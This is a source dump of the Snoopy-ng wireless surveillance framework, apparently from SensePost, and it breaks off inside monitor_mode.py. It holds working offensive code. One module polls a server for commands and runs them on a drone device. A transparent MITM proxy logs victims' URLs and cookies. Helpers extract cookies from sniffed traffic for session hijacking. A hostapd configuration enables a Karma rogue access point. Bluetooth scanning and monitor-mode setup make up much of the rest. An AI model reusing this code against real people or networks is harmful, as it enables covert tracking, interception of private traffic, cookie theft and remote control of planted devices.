├── .gitignore
├── LICENSE.html
├── LICENSE.txt
├── README.md
├── TODO.txt
├── includes
├── __init__.py
├── auth_handler.py
├── bluScan.py
├── command_shell.py
├── common.py
├── fifoDict.py
├── firelamb_helper.py
├── fonts.py
├── geovismap_csv.sh
├── get_3g_balance.py
├── hostapd.conf
├── jsonify.py
├── mac_vendor.py
├── mac_vendor.txt
├── mitm.py
├── monitor_mode.py
├── prox.py
├── rogee.py
├── run_prog.py
├── run_prog.py.bak
├── run_prog.py.new
├── sakis.py
├── sakis3g
├── system_info.py
├── webserver.py
└── wigle_api.py
├── install.sh
├── plugins
├── ComingSoon.txt
├── __c80211_pycap.py
├── __import_old_snoopy.py
├── __init__.py
├── blutooth.py
├── example.py
├── gpsd.py
├── heartbeat.py
├── local_sync.py
├── mitmproxy.py
├── mods80211
│ ├── __arp_geoloc.py
│ ├── __init__.py
│ ├── apple_guids.py
│ ├── firelamb.py
│ ├── prefilter
│ │ ├── __init__.py
│ │ └── prefilter.py
│ ├── wifi_aps.py
│ ├── wifi_clients.py
│ └── wpa.py
├── rogueAP.py
├── run_log.py
├── server.py
├── sysinfo.py
├── wifi.py
└── wigle.py
├── scripts
└── install_rpi.sh
├── setup
├── README_BBONE.txt
├── apache
│ ├── README.md
│ ├── snoopy.conf.tpl
│ └── snoopy.wsgi
├── cron
│ └── rebooter
├── ntp.conf
├── rc.local
├── scapy-latest-snoopy_patch.tar.gz
├── sn.txt
├── sslstripSnoopy
│ ├── COPYING
│ ├── FOO
│ ├── README
│ ├── __init__.py
│ ├── build
│ │ ├── lib.linux-i686-2.7
│ │ │ └── sslstrip
│ │ │ │ ├── ClientRequest.py
│ │ │ │ ├── CookieCleaner.py
│ │ │ │ ├── DnsCache.py
│ │ │ │ ├── SSLServerConnection.py
│ │ │ │ ├── ServerConnection.py
│ │ │ │ ├── ServerConnectionFactory.py
│ │ │ │ ├── StrippingProxy.py
│ │ │ │ ├── URLMonitor.py
│ │ │ │ └── __init__.py
│ │ └── scripts-2.7
│ │ │ └── sslstrip
│ ├── iptables.sh
│ ├── jstripper.py
│ ├── lock.ico
│ ├── output.log.old
│ ├── setup.py
│ ├── sslstrip.py
│ ├── sslstrip
│ │ ├── ClientRequest.py
│ │ ├── CookieCleaner.py
│ │ ├── DnsCache.py
│ │ ├── SSLServerConnection.py
│ │ ├── SSLServerConnection.py~
│ │ ├── ServerConnection.py
│ │ ├── ServerConnection.py~
│ │ ├── ServerConnectionFactory.py
│ │ ├── StrippingProxy.py
│ │ ├── URLMonitor.py
│ │ └── __init__.py
│ └── sslstrip1.py
└── upstarts
│ ├── README.txt
│ ├── SETTINGS
│ ├── ntp_update.conf
│ ├── phone_home.conf
│ ├── sakis.conf
│ └── snoopy.conf
├── snoopy.py
├── transforms
├── Maltego.py
├── MaltegoTransform.py
├── MaltegoTransform.py.diff
├── README.txt
├── db_path.conf
├── fetchClients.py
├── fetchClientsWithData.py
├── fetchCookies.py
├── fetchCountries.py
├── fetchDefiniteAddresses.py
├── fetchDomains.py
├── fetchDrones.py
├── fetchIP.py
├── fetchLocations.py
├── fetchLogs.py
├── fetchManufacturers.py
├── fetchNearbySSIDs.py
├── fetchObservations.py
├── fetchSSIDLocations.py
├── fetchSSIDLocations_live.py
├── fetchSSIDs.py
├── fetchSSLStrip.py
├── fetchURL.py
├── fetchUserAgent.py
├── snoopy_entities.mtz
├── transformCommon.py
└── wigle_api.py
└── uat
├── monitor_mode.py
├── traffgen.py
└── words.txt
/.gitignore:
--------------------------------------------------------------------------------
1 | transforms/tmp
2 | .acceptedlicense
3 | wigle_creds.txt
4 | *.pyc
5 | *.db
6 | *.log
7 | *.sql
8 |
--------------------------------------------------------------------------------
/LICENSE.html:
--------------------------------------------------------------------------------
1 | 
SensePost Snoopy by Glenn Wilkinson is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.
Permissions beyond the scope of this license may be available at glenn@sensepost.com.
2 |
--------------------------------------------------------------------------------
/LICENSE.txt:
--------------------------------------------------------------------------------
1 | This work is licensed under the Creative Commons
2 | Attribution-Non Commercial-ShareAlike 4.0 International
3 | License. To view a copy of this license, visit
4 |
5 | http://creativecommons.org/licenses/by-nc-sa/4.0/deed.en_US.
6 |
--------------------------------------------------------------------------------
/TODO.txt:
--------------------------------------------------------------------------------
1 | BUGS:
2 | Maltego transforms
3 | Default port when localsyncing
4 |
5 |
6 | * = Done
7 | - = Doing
8 | x = No longer appropriate
9 |
10 | 1. Hardware
11 | [-] XBee
12 | [ ] GSM
13 | [-] UAV - attach
14 | [-] Test on N900
15 | [*] Test on PwnPad
16 |
17 | 2. Software
18 | Client Side:
19 | [ ] Capture WPA handshake
20 | [ ] ToR
21 | [-] Maltego
22 | -SSIDs around location
23 | [-] Google map creation
24 | [-] Google earth KML explorer
25 | [x] Fix up get_ident code
26 | [ ] sync module to handle server + client?
27 | [-] web cmd shell (launch web cmd in new thread/process, with timeout)
28 | [-] GZIP
29 | [ ] Log file gets overwritten?
30 | [ ] Migrate to Requests!
31 | [ ] Modify BT plugin to keep queue
32 | [-] Test GPS code - also write for N900
33 | [-] Write XBee code
34 | [ ] Incorporate RogueAP
35 | [-] Cookie/web extractor
36 | [*] Update Wigle plugin
37 | [ ] GPS.... OpenBTS?
38 | [ ] Extract WPA Key plugin
39 | [ ] ARP plugin
40 | [ ] mDNS plugin
41 | [ ] Trilateration plugin.
42 | [ ] Make Python setup file
43 |
44 | Server Side:
45 | [*] Flask + Apache
46 | [ ] SSL - recheck with new server code
47 | [*] JSON API
48 | [-] Data exploration webUI
49 |
50 | 3. Testing
51 | [ ] Determine range
52 | [*] Unit tests
53 | [*] Replay captured traffic tests from Heathrow
54 | [ ] DB schema test - millions of rows?
55 |
56 | 4. Other
57 | [-] Write documentation
58 | [ ] Write paper - submit to academic con?
59 |
--------------------------------------------------------------------------------
/includes/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/includes/__init__.py
--------------------------------------------------------------------------------
/includes/bluScan.py:
--------------------------------------------------------------------------------
1 | import subprocess
2 | from datetime import datetime
3 | from datetime import date
4 | from includes.mac_vendor import mac_vendor
5 | import logging
6 |
7 | flag_do_sdp = False
8 | mv = mac_vendor()
9 |
10 | def scan():
11 | cmd_scan = "hcitool scan --info --class --flush"
12 | try:
13 | cmd_scan_out = subprocess.Popen(cmd_scan.split(),stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()
14 | except Exception,e:
15 | logging.error("Unable to scan for Bluetooth devices: '%s'" %str(e))
16 | else:
17 | # parse scan results
18 | if len(cmd_scan_out[0]) > 16:
19 | devices = []
20 |
21 | for record in cmd_scan_out[0].split('\n\n')[1:-1]:
22 | record = record.split('\n')
23 | device = {'mac':'Unknown', 'vendor':'Unknown', 'vendorLong':'Unknown', 'name':'Unknown', 'classType':'Unknown','manufac':'Unknown','lmpVer':'Unknown'}
24 |
25 | try:
26 | device['mac'] = mac = record[0][12:29:].replace(':','').lower()
27 | device['vendor'], device['vendorLong'] = mv.lookup(mac[:6])
28 | device['name'] = record[1][13:].replace('[cached]','') #name
29 | device['classType'] = record[2][14:].replace("Device conforms to the ","") #class+type
30 |
31 | if len(record)>3:
32 | device['manufac'] = record[3][14:] # chip manufacturer
33 | device['lmpVer'] = record[4][13:16:] # lmp ver
34 | except Exception, e:
35 | logging.warning("Trouble parsing Bluetooth output: %s" % str(e))
36 |
37 | devices.append(device)
38 |
39 | return devices
40 |
41 | if __name__ == "__main__":
42 | print scan()
43 |
--------------------------------------------------------------------------------
/includes/command_shell.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import urllib
5 | from threading import Thread
6 | import base64
7 | import time
8 | import urllib2
9 | import logging
10 | from includes.run_prog import run_program
11 |
12 | class CommandShell(Thread):
13 | def __init__(self, server, drone, key):
14 | self.server = server
15 | self.drone = drone
16 | self.key = key
17 | self.RUN = True
18 | Thread.__init__(self)
19 |
20 | def run(self):
21 | """Check every N seconds if a new command is required to be run"""
22 | while self.RUN:
23 | self.fetch_command()
24 | time.sleep(5)
25 |
26 | #TODO: 1. Use Posts, and probably JSON for commands. Currently using GETs.
27 | # 2. Launch programs in a separate thread, to avoid blocking
28 | def fetch_command(self):
29 | """Poll the server for new commands, execute, and return"""
30 | base64string = base64.encodestring('%s:%s' % (self.drone, self.key)).replace('\n', '')
31 | headers = {'content-type': 'application/json',
32 | 'Authorization':'Basic %s' % base64string}
33 |
34 | checkForCommandURL = self.server + "/cmd/droneQuery"
35 | sendCommandOutputURL = self.server + "/cmd/droneResponse"
36 | try:
37 | req = urllib2.Request(checkForCommandURL, headers=headers)
38 | response = urllib2.urlopen(req)
39 |
40 | if response:
41 | command = response.read()
42 | if command != "":
43 | logging.debug("Running command '%s'" % command)
44 | outcome = run_program(command)
45 | response_data = urllib.urlencode({'command':command, 'output': outcome } )
46 | req = urllib2.Request(sendCommandOutputURL + "?" + response_data, headers=headers)
47 | response = urllib2.urlopen(req)
48 | except Exception,e:
49 | logging.error(e)
50 |
51 | def stop(self):
52 | self.RUN = False
53 |
54 | if __name__ == "__main__":
55 | CommandShell().start()
56 |
--------------------------------------------------------------------------------
/includes/common.py:
--------------------------------------------------------------------------------
1 | import os
2 | from sqlalchemy.ext.compiler import compiles
3 | from sqlalchemy.sql.expression import Insert
4 | from sqlalchemy import Column, String, MetaData, Integer
5 | import hashlib
6 | import glob
7 |
8 | #Set path
9 | snoopyPath=os.path.dirname(os.path.realpath(__file__))
10 | os.chdir(snoopyPath)
11 | os.chdir("..")
12 |
13 | printFreq = 20
14 |
15 | def get_plugin_names():
16 | return sorted([ os.path.basename(f)[:-3]
17 | for f in glob.glob("./plugins/*.py")
18 | if not os.path.basename(f).startswith('__') ])
19 |
20 | def get_plugins():
21 | plugins = []
22 | for plug in get_plugin_names():
23 | plug = "plugins." + plug
24 | m = __import__(plug, fromlist="Snoop").Snoop
25 | plugins.append(m)
26 | return plugins
27 |
28 | def get_tables():
29 | all_tables = []
30 | for plug in get_plugins():
31 | tbls = plug.get_tables()
32 | for tbl in tbls:
33 | tbl.append_column( Column('run_id', Integer) ) #Every entry generated gets the run id included. This is for joins, as well as tracking which drone created which data
34 | all_tables.append(tbl)
35 | return all_tables
36 |
37 | def create_tables(db):
38 | tbls = get_tables()
39 | metadata = MetaData(db)
40 | for tbl in tbls:
41 | tbl.metadata = metadata
42 | if not db.dialect.has_table(db.connect(), tbl.name):
43 | tbl.create()
44 |
45 | @compiles(Insert)
46 | def replace_string(insert, compiler, **kw):
47 | s = compiler.visit_insert(insert, **kw)
48 | s = s.replace("INSERT INTO", "REPLACE INTO")
49 | return s
50 |
51 | salt="50f51d9fdcb6066433431eb8c15214b7"
52 | def snoop_hash(value):
53 | return hashlib.sha256(str(value)+salt).hexdigest()
54 |
--------------------------------------------------------------------------------
/includes/fifoDict.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 |
5 | from collections import OrderedDict
6 |
7 | class fifoDict:
8 | """OrderedDict with FIFO size constraint"""
9 | def __init__(self, size=1000, reducePc=0.2, names=None):
10 | """
11 | 'names' paramter should be a n tuple the same same size as a tuple passed to the add method
12 | For example, names = ('mac', 'ssid')
13 | """
14 | self.od = OrderedDict()
15 | self.sz = size
16 | self.reducePc=0.5
17 | self.names = names
18 |
19 | def add(self, item):
20 | if item not in self.od:
21 | self.od[item] = 0
22 |
23 | def getNew(self):
24 | newData = []
25 | markAsFetched = []
26 | for key, val in self.od.iteritems():
27 | if val == 0:
28 | newData.append( key )
29 | for key in newData:
30 | self.od[key] = 1
31 | #Reduce size of dict by reducePc % :
32 | if len(self.od) > self.sz:
33 | for i in range(int(self.reducePc * self.sz)):
34 | try:
35 | self.od.popitem(last = False)
36 | except KeyError:
37 | pass
38 | #If keys were supplied, combine with values and return
39 | if self.names:
40 | toReturn = []
41 | for ident in newData:
42 | row = dict(zip(self.names,ident))
43 | toReturn.append(row)
44 | return toReturn
45 | else:
46 | return newData
47 |
--------------------------------------------------------------------------------
/includes/firelamb_helper.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # copyright of sandro gauci 2008
3 | # hijack helper functions
4 | def parseHeader(buff,type='response'):
5 | import re
6 | SEP = '\r\n\r\n'
7 | HeadersSEP = '\r*\n(?![\t\x20])'
8 | import logging
9 | log = logging.getLogger('parseHeader')
10 | if SEP in buff:
11 | header,body = buff.split(SEP,1)
12 | else:
13 | header = buff
14 | body = ''
15 | headerlines = re.split(HeadersSEP, header)
16 |
17 | if len(headerlines) > 1:
18 | r = dict()
19 | if type == 'response':
20 | _t = headerlines[0].split(' ',2)
21 | if len(_t) == 3:
22 | httpversion,_code,description = _t
23 | else:
24 | # log.warn('Could not parse the first header line: %s' % `_t`)
25 | return r
26 | try:
27 | r['code'] = int(_code)
28 | except ValueError:
29 | return r
30 | elif type == 'request':
31 | _t = headerlines[0].split(' ',2)
32 | if len(_t) == 3:
33 | method,uri,httpversion = _t
34 | r['method'] = method
35 | r['uri'] = uri
36 | r['httpversion'] = httpversion
37 | else:
38 | # log.warn('Could not parse the first header line: %s' % `_t`)
39 | return r
40 | r['headers'] = dict()
41 | for headerline in headerlines[1:]:
42 | SEP = ':'
43 | if SEP in headerline:
44 | tmpname,tmpval = headerline.split(SEP,1)
45 | name = tmpname.lower().strip()
46 | val = map(lambda x: x.strip(),tmpval.split(','))
47 | else:
48 | name,val = headerline.lower(),None
49 | r['headers'][name] = val
50 | r['body'] = body
51 | return r
52 |
53 | def getdsturl(tcpdata):
54 | import logging
55 | log = logging.getLogger('getdsturl')
56 | p = parseHeader(tcpdata,type='request')
57 | if p is None:
58 | # log.warn('parseHeader returned None')
59 | return
60 | if p.has_key('uri') and p.has_key('headers'):
61 | if p['headers'].has_key('host'):
62 | r = 'http://%s%s' % (p['headers']['host'][0],p['uri'])
63 | return r
64 | #else:
65 | # log.warn('seems like no host header was set')
66 | #else:
67 | # log.warn('parseHeader did not give us a nice return %s' % p)
68 |
69 | def gethost(tcpdata):
70 | import logging
71 | log = logging.getLogger('getdsturl')
72 | p = parseHeader(tcpdata,type='request')
73 | if p is None:
74 | # log.warn('parseHeader returned None')
75 | return
76 | if p.has_key('headers'):
77 | if p['headers'].has_key('host'):
78 | return p['headers']['host']
79 |
80 | def getuseragent(tcpdata):
81 | import logging
82 | log = logging.getLogger('getuseragent')
83 | p = parseHeader(tcpdata,type='request')
84 | if p is None:
85 | # log.warn('parseHeader returned None')
86 | return
87 | if p.has_key('headers'):
88 | if p['headers'].has_key('user-agent'):
89 | return p['headers']['user-agent']
90 |
91 | def calcloglevel(options):
92 | logginglevel = 30
93 | if options.verbose is not None:
94 | if options.verbose >= 3:
95 | logginglevel = 10
96 | else:
97 | logginglevel = 30-(options.verbose*10)
98 | if options.quiet:
99 | logginglevel = 50
100 | return logginglevel
101 |
102 | def getcookie(tcpdata):
103 | p = parseHeader(tcpdata,type='request')
104 | if p is None:
105 | return
106 | if p.has_key('headers'):
107 | if p['headers'].has_key('cookie'):
108 | return p['headers']['cookie']
109 |
110 |
111 |
--------------------------------------------------------------------------------
/includes/fonts.py:
--------------------------------------------------------------------------------
1 | # Console colors
2 | W = '\033[0m' # white (normal)
3 | R = '\033[31m' # red
4 | G = '\033[32m' # green
5 | O = '\033[33m' # orange
6 | B = '\033[34m' # blue
7 | P = '\033[35m' # purple
8 | C = '\033[36m' # cyan
9 | GR = '\033[37m' # gray
10 | BB = '\033[1m' # Bold
11 | NB = '\033[0m' # Not bold
12 | F = '\033[5m' # Flash
13 | NF = '\033[25m' # Not flash
14 |
--------------------------------------------------------------------------------
/includes/geovismap_csv.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # Helper script to make .csv
3 | # glenn@sensepost.com
4 |
5 | db="/root/snoopy-ng/snoopy.db"
6 | outdir="/root/Desktop/Results"
7 | mkdir -p $outdir
8 | echo "The following are available:"
9 | sqlite3 $db "SELECT DISTINCT location from sessions"
10 | echo ""
11 |
12 | for name in `sqlite3 $db "SELECT DISTINCT location from sessions"`; do
13 |
14 |
15 | cat > /tmp/cmds.txt << EOL
16 |
17 | .output $outdir/$name.gps.csv
18 | .mode csv
19 |
20 | SELECT
21 | "SSID: " ||
22 | wigle.ssid ||
23 | "
"||
24 | "Address: " ||
25 | shortaddress ||
26 | "
" ||
27 | "" ||
29 | "
" ||
31 | ""
32 |
33 | ,lat,long FROM wifi_client_ssids,wigle,sessions
34 | WHERE sessions.location='$name'
35 | AND wifi_client_ssids.run_id = sessions.run_id
36 | AND wigle.ssid = wifi_client_ssids.ssid
37 | AND wigle.overflow=0
38 | GROUP BY wigle.ssid HAVING COUNT(*) < 6;
39 |
40 | EOL
41 |
42 | sqlite3 $db < /tmp/cmds.txt
43 |
44 | sed -i '1s/^/\"name\",\"latitude\",\"longitude\"\n/' $outdir/$name.gps.csv
45 |
46 | echo "Written to $outdir/$name.gps.csv"
47 |
48 |
49 |
50 | #### and again
51 | cat > /tmp/cmds2.txt << EOL
52 |
53 | .output $outdir/$name.address.csv
54 | .mode csv
55 |
56 | SELECT wigle.ssid,shortaddress,city,country
57 | FROM wifi_client_ssids,wigle,sessions
58 | WHERE sessions.location='$name'
59 | AND wifi_client_ssids.run_id = sessions.run_id
60 | AND wigle.ssid = wifi_client_ssids.ssid
61 | AND wigle.overflow=0
62 | GROUP BY wigle.ssid HAVING count(*) < 6 ;
63 |
64 | EOL
65 |
66 | sqlite3 $db < /tmp/cmds2.txt
67 |
68 | sed -i '1s/^/\"ssid\",\"address\",\"city\",\"country\"\n/' $outdir/$name.address.csv
69 |
70 | echo "Written to $outdir/$name.address.csv"
71 |
72 |
73 | #### third foobar
74 |
75 | #cat > /tmp/cmds.txt << EOL
76 |
77 | #.output $outdir/$name.manufac.csv
78 | #.mode csv
79 |
80 | #SELECT wifi_client_ssids.mac,wifi_client_ssids.ssid
81 | #FROM wifi_client_ssids,sessions
82 | #WHERE wifi_client_ssids.run_id=sessions.run_id
83 | #AND sessions.location='$name'
84 | #GROUP BY wifi_client_ssids.mac;
85 |
86 | #EOL
87 |
88 | #sqlite3 snoopy.db < /tmp/cmds.txt
89 |
90 | #sed -i '1s/^/\"ssid\",\"mac\"\n/' $outdir/$name.manufac.csv
91 |
92 | #echo "Written to $outdir/$name.manufac.csv"
93 |
94 |
95 | done
96 |
97 | echo "Press any key to exit"
98 | read -n 1
99 |
--------------------------------------------------------------------------------
/includes/get_3g_balance.py:
--------------------------------------------------------------------------------
1 | #Doesn't seem to work across devices. When working correctly incorporate into includes/system_info.py
2 |
3 | import serial
4 | from smspdu import pdu, gsm0338
5 | import time
6 | import os
7 | from serial.tools import list_ports
8 | import logging
9 |
10 | #Define your USB modem's ID here. Check it with lsusb.
11 | usb_id="12d1:140c" #Huawei Technologies
12 |
13 | def check_o2_balance():
14 | """Check o2 balance"""
15 | ser = serial.Serial(find_device())
16 | code = "*#10#"
17 | data="AT+CUSD=1,%s,15" % pdu.pack7bit(code)[1].encode('hex').upper()
18 | ser.write(data + "\r")
19 | start = int(os.times()[4])
20 | while start + 10 > int(os.times()[4]):
21 | line = ser.readline().replace('"',"")
22 | if "+CUSD:" in line:
23 | response = line.split(",")[1]
24 | result = gsm0338().decode(pdu.unpack7bit(response.decode('hex')))[0]
25 | result = result[:-1].replace(u'Your balance is \xa3','')
26 | logging.debug("Balance is %s" %result)
27 | return float(result)
28 | return -1
29 |
30 | def find_device():
31 | """Return first instance of matching usb_id"""
32 | logging.debug("Looking for USB modem")
33 | usb_devices = list_ports.comports()
34 | for device in usb_devices:
35 | id = device[2].split("=")
36 | if len(id) > 1 and id[1] == usb_id:
37 | logging.debug("Found USB modem at %s" % device[0])
38 | return device[0]
39 |
40 | if __name__ == "__main__":
41 | print "Balance is %f" % check_o2_balance()
42 |
--------------------------------------------------------------------------------
/includes/hostapd.conf:
--------------------------------------------------------------------------------
1 | interface=wlan5
2 | bssid=00:11:22:33:44:00
3 | driver=nl80211
4 | ssid=AlwaysOn
5 | channel=6
6 |
7 | #bss=wlan5_0
8 | #ssid=Internet
9 |
10 | #bss=wlan5_1
11 | #ssid=WirelessG
12 |
13 | disassoc_low_ack=0
14 |
15 | # Both open and shared auth
16 | auth_algs=3
17 |
18 | # no SSID cloaking
19 | ignore_broadcast_ssid=0
20 |
21 | # -1 = log all messages
22 | logger_syslog=-1
23 | logger_stdout=-1
24 |
25 | # 2 = informational messages
26 | logger_syslog_level=1
27 | logger_stdout_level=1
28 |
29 | # Dump file for state information (on SIGUSR1)
30 | # example: kill -USR1
31 | dump_file=/tmp/hostapd.dump
32 | ctrl_interface=/var/run/hostapd
33 | ctrl_interface_group=0
34 |
35 | # 0 = accept unless in deny list
36 | macaddr_acl=0
37 |
38 | # only used if you want to do filter by MAC address
39 | #accept_mac_file=/etc/hostapd/hostapd.accept
40 | #deny_mac_file=/etc/hostapd/hostapd.deny
41 |
42 | # Finally, enable Karma
43 | enable_karma=1
44 |
45 | # Black and white listing
46 | # 0 = while
47 | # 1 = black
48 | #karma_black_white=1
49 |
--------------------------------------------------------------------------------
/includes/jsonify.py:
--------------------------------------------------------------------------------
1 | from datetime import datetime
2 | from sqlalchemy import DateTime
3 | import time
4 | import json
5 | from includes.common import get_tables
6 | import logging
7 |
8 | def date_to_epoch(_dt):
9 | return time.mktime(_dt.utctimetuple())
10 |
11 | def epoch_to_date(_et):
12 | return datetime.fromtimestamp(_et)
13 |
14 | obj_to_json = {
15 | datetime : date_to_epoch
16 | }
17 |
18 | json_to_obj = {
19 | DateTime : epoch_to_date
20 | }
21 |
22 |
23 | col_type_mapper = {}
24 | def load_col_type_mapper():
25 | global col_type_mapper
26 | tbls = get_tables()
27 | for tbl in tbls:
28 | for col in tbl.columns:
29 | typ = type(col.type)
30 | if json_to_obj.get(typ):
31 | col_type_mapper[(tbl.name,col.name)] = json_to_obj.get(typ)
32 |
33 |
34 | def objs_to_json(_data):
35 | for r in range(len(_data['data'])):
36 | row = _data['data'][r]
37 | for name, value in row.iteritems():
38 | if obj_to_json.get( type(value) ):
39 | f = obj_to_json[ type(value) ]
40 | _data['data'][r][name] = f(value)
41 |
42 | try:
43 | return json.dumps(_data)
44 | except:
45 | print _data
46 |
47 | def json_to_objs(_json):
48 | if not col_type_mapper:
49 | logging.debug("Preloading table mappings...")
50 | load_col_type_mapper()
51 |
52 | _data = json.loads(_json)
53 | table = _data['table']
54 | for r in range(len(_data['data'])):
55 | row = _data['data'][r]
56 | for name, value in row.iteritems():
57 | if col_type_mapper.get( (table, name) ):
58 | f = col_type_mapper[ (table, name) ]
59 | _data['data'][r][name] = f(value)
60 |
61 | return _data
62 |
63 |
64 | def json_list_to_objs(_json):
65 | """Take a list of table data, and convert to a list of dicts"""
66 | if not col_type_mapper:
67 | logging.debug("Preloading table mappings...")
68 | load_col_type_mapper()
69 |
70 | _data_list = json.loads(_json)
71 | _data_to_return = []
72 | for _data in _data_list:
73 | table = _data['table']
74 | for r in range(len(_data['data'])):
75 | row = _data['data'][r]
76 | for name, value in row.iteritems():
77 | if col_type_mapper.get( (table, name) ):
78 | f = col_type_mapper[ (table, name) ]
79 | _data['data'][r][name] = f(value)
80 | _data_to_return.append(_data)
81 | return _data_to_return
82 |
83 |
84 |
85 |
--------------------------------------------------------------------------------
/includes/mac_vendor.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import os
5 | import sys
6 | import requests
7 | import re
8 | import logging
9 | from urlparse import urlparse
10 |
11 | #Set path
12 | path = os.path.dirname(os.path.realpath(__file__))
13 | manuf_url = "https://code.wireshark.org/review/gitweb?p=wireshark.git;a=blob_plain;f=manuf;hb=HEAD"
14 |
15 | class mac_vendor():
16 | def __init__(self):
17 | self.mac_lookup = {}
18 | with open("%s/mac_vendor.txt" % path) as f:
19 | for line in f:
20 | line = line.strip()
21 | (mac, vendorshort, vendorlong) = line.split("|")
22 | self.mac_lookup[mac.lower()] = (vendorshort, vendorlong)
23 |
24 | def lookup(self, mac):
25 | mac = mac.lower()
26 | if mac in self.mac_lookup:
27 | return self.mac_lookup[mac]
28 | else:
29 | return ("Unknown", "Unknown device")
30 |
31 | def update(self, url=None):
32 | if not url:
33 | url = manuf_url
34 | o = urlparse(url)
35 | logging.debug("Fetching data from %s..." % url)
36 | if not o.scheme or o.scheme == "file":
37 | with open(url, "r") as f:
38 | data = f.read()
39 | elif o.scheme == "http" or o.scheme == "https":
40 | r = requests.get(url)
41 | data = r.text.encode("utf8")
42 | else:
43 | logging.error("Only local files or http(s) URLs are supported")
44 | return None
45 |
46 | count = 0
47 | f = open("%s/mac_vendor.txt" % path, "a")
48 | for line in data.split('\n'):
49 | try:
50 | mac, vendor = re.search(r'([0-9A-F]{2}:[0-9A-F]{2}:[0-9A-F]{2})\t(.*)', line).groups()
51 | mac = mac.replace(":", "").lower()
52 | vendor = vendor.split("# ")
53 | vendorshort = vendor[0].strip()
54 | vendorlong = vendorshort
55 | if (len(vendor) == 2):
56 | vendorlong = vendor[1].strip()
57 | if mac in self.mac_lookup:
58 | continue
59 | f.write("|".join((mac.upper(), vendorshort, vendorlong + "\n")))
60 | self.mac_lookup[mac] = (vendorshort, vendorlong)
61 | count += 1
62 | except AttributeError:
63 | continue
64 | except:
65 | logging.error("Processing error - you may need to restore mac_vendor.txt manually.")
66 | return None
67 |
68 | f.close()
69 | logging.debug("Wrote %d new MAC vendor entries" % count)
70 |
71 |
72 | if __name__ == "__main__":
73 | import argparse
74 |
75 | logging.basicConfig(level=logging.DEBUG,
76 | format='%(asctime)s %(levelname)s %(filename)s: %(message)s',
77 | datefmt='%Y-%m-%d %H:%M:%S')
78 |
79 | parser = argparse.ArgumentParser()
80 | parser.add_argument("-u", "--update", help="Update OUI data from a text file in Wireshark manuf format", action='store_true')
81 | parser.add_argument("-f", "--file", help="The location of the Wireshark manuf file (useful if available locally)")
82 | args = parser.parse_args()
83 |
84 | if not args.update:
85 | print "[!] No operation specified! Try --help."
86 | sys.exit(-1)
87 |
88 | mv = mac_vendor()
89 | mv.update(args.file)
90 |
91 |
92 |
93 |
--------------------------------------------------------------------------------
/includes/mitm.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import os
4 | from libmproxy import proxy, flow, platform
5 | import datetime
6 | import json
7 | from threading import Thread
8 | from collections import deque
9 |
10 | class MyMaster(flow.FlowMaster):
11 |
12 | def run(self):
13 | self.logs = deque()
14 | try:
15 | flow.FlowMaster.run(self)
16 | except KeyboardInterrupt:
17 | self.shutdown()
18 |
19 | def handle_request(self, r):
20 | f = flow.FlowMaster.handle_request(self, r)
21 | if f:
22 | r.reply()
23 |
24 | client_ip = r.client_conn.address[0]
25 | host = r.host
26 | path = r.path
27 | full_url = r.get_url()
28 | method = r.method
29 | port = r.port
30 | timestamp = r.timestamp_start
31 | useragent = r.headers.get('User-agent')
32 | if useragent:
33 | useragent = useragent[0]
34 | timestamp = datetime.datetime.fromtimestamp(r.timestamp_start)
35 |
36 | cookies = {}
37 | tmp_cookies = r.get_cookies()
38 | if tmp_cookies:
39 | for k, v in tmp_cookies.iteritems():
40 | cookies[k] = v[0]
41 | cookies = json.dumps(cookies)
42 |
43 | log = {"client_ip":client_ip, "host":host, "path":path, "full_url":full_url, \
44 | "method":method, "port":port, "timestamp":timestamp, "useragent":useragent, \
45 | "cookies":cookies}
46 | self.logs.append(log)
47 | return f
48 |
49 | def get_logs(self):
50 | rtnData=[]
51 | while self.logs:
52 | rtnData.append(self.logs.popleft())
53 | return rtnData
54 |
55 | def handle_response(self, r):
56 | f = flow.FlowMaster.handle_response(self, r)
57 | if f:
58 | r.reply()
59 | return f
60 |
61 | class myProx(Thread):
62 | def __init__(self):
63 | Thread.__init__(self)
64 |
65 | config = proxy.ProxyConfig(
66 | cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"),
67 | transparent_proxy = dict (showhost=True,resolver = platform.resolver(), sslports = [443, 8443]) #Thanks nmonkee
68 | )
69 | state = flow.State()
70 | server = proxy.ProxyServer(config, 8080)
71 | self.m = MyMaster(server, state)
72 |
73 | def run(self):
74 | print "Running on 8080"
75 | self.m.run()
76 | print "Done"
77 |
78 | def get_data(self):
79 | return self.m.get_logs()
80 |
81 |
82 |
83 | if __name__ == "__main__":
84 | p = myProx()
85 | p.run()
86 |
--------------------------------------------------------------------------------
/includes/monitor_mode.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | from subprocess import Popen, call, PIPE
4 | import os
5 | #from sys import stdout, stdin # Flushing
6 | import re
7 | import logging
8 |
9 | #logging.basicConfig(level=logging.DEBUG,
10 | # format='%(asctime)s %(levelname)s %(filename)s: %(message)s',
11 | # datefmt='%Y-%m-%d %H:%M:%S')
12 |
13 | DN = open(os.devnull, 'w')
14 |
15 | def enable_monitor_mode(iface=''):
16 | #First, disable all existing monitor interfaces
17 | disable_monitor_mode()
18 | #If not specified, take the last wireless interface.
19 | if not iface:
20 | proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
21 | for line in proc.communicate()[0].split('\n'):
22 | if 'phy' in line and not line.startswith("mon"):
23 | iface=re.split(r"\s",line)[0]
24 | if iface:
25 | logging.debug("Enabling monitor mode on '%s'"%iface)
26 | call(['airmon-ng', 'check', 'kill'], stdout=DN, stderr=DN)
27 | call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
28 | monif = get_monitor_iface()
29 | if monif:
